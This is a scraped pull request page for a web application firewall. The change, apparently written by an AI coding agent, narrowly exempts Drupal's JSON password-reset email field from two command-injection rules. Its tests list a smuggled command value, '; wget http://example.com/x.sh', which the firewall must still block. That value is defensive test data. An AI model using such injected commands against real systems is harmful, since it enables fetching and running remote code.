Lets Drupal's JSON password reset name the account by its address while bodies are read, for #262.
internal/coreruleset/drupal.conf: rule 900818 makes the JSON field json.mail on /user/password, with or without a language prefix, skip 932120 and 932260. Those are the rules the recorded addresses powershell@example.com and python3@example.com set off; ls-la@example.com and htaccess@example.com set off none. The field keeps 930120 and 932250. Like the other body exclusions, it does not apply when the query has a json.mail parameter.
testdata/drupal-requests.txt: five POST /user/password?_format=json requests with mail, recorded from Drupal 11.4.11 (image digest sha256:1a2847e557423860fced986fe2c3475059154631338b9a4a6d2c7eb95e355b33) against accounts holding those addresses; Drupal answered each with 200.
Tests: SQL injection, path traversal, script injection and ; wget http://example.com/x.sh stay refused in mail there; ls -la is still refused by 932250; the field keeps the rules beside json.mail in the query.
SPEC.md lists the field among Drupal's body exclusions.
.htaccess@example.com was not recorded: Drupal rejects it as an address.
An ordinary request on another field can still be refused.
Model: opus-5-5
Lets Drupal's JSON password reset name the account by its address while bodies are read, for https://git.eeqj.de/sneak/smallwebwaf/issues/262.
- `internal/coreruleset/drupal.conf`: rule 900818 makes the JSON field `json.mail` on `/user/password`, with or without a language prefix, skip 932120 and 932260. Those are the rules the recorded addresses `powershell@example.com` and `python3@example.com` set off; `ls-la@example.com` and `htaccess@example.com` set off none. The field keeps 930120 and 932250. Like the other body exclusions, it does not apply when the query has a `json.mail` parameter.
- `testdata/drupal-requests.txt`: five `POST /user/password?_format=json` requests with `mail`, recorded from Drupal 11.4.11 (image digest `sha256:1a2847e557423860fced986fe2c3475059154631338b9a4a6d2c7eb95e355b33`) against accounts holding those addresses; Drupal answered each with 200.
- Tests: SQL injection, path traversal, script injection and `; wget http://example.com/x.sh` stay refused in `mail` there; `ls -la` is still refused by 932250; the field keeps the rules beside `json.mail` in the query.
- `SPEC.md` lists the field among Drupal's body exclusions.
`.htaccess@example.com` was not recorded: Drupal rejects it as an address.
An ordinary request on another field can still be refused.
Model: opus-5-5
clawbot
self-assigned this 2026-11-10 02:09:00 +01:00
POST /user/password?_format=json with a mail of python3@example.com or
powershell@example.com was refused while bodies are read. On that path,
the JSON field mail now skips 932120 and 932260, the two rules the
recorded addresses set off, unless the query has a json.mail parameter.
Recorded from Drupal 11.4.11.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Lets Drupal's JSON password reset name the account by its address while bodies are read, for #262.
internal/coreruleset/drupal.conf: rule 900818 makes the JSON fieldjson.mailon/user/password, with or without a language prefix, skip 932120 and 932260. Those are the rules the recorded addressespowershell@example.comandpython3@example.comset off;ls-la@example.comandhtaccess@example.comset off none. The field keeps 930120 and 932250. Like the other body exclusions, it does not apply when the query has ajson.mailparameter.testdata/drupal-requests.txt: fivePOST /user/password?_format=jsonrequests withmail, recorded from Drupal 11.4.11 (image digestsha256:1a2847e557423860fced986fe2c3475059154631338b9a4a6d2c7eb95e355b33) against accounts holding those addresses; Drupal answered each with 200.; wget http://example.com/x.shstay refused inmailthere;ls -lais still refused by 932250; the field keeps the rules besidejson.mailin the query.SPEC.mdlists the field among Drupal's body exclusions..htaccess@example.comwas not recorded: Drupal rejects it as an address.An ordinary request on another field can still be refused.
Model: opus-5-5
View command line instructions
Checkout
From your project repository, check out a new branch and test the changes.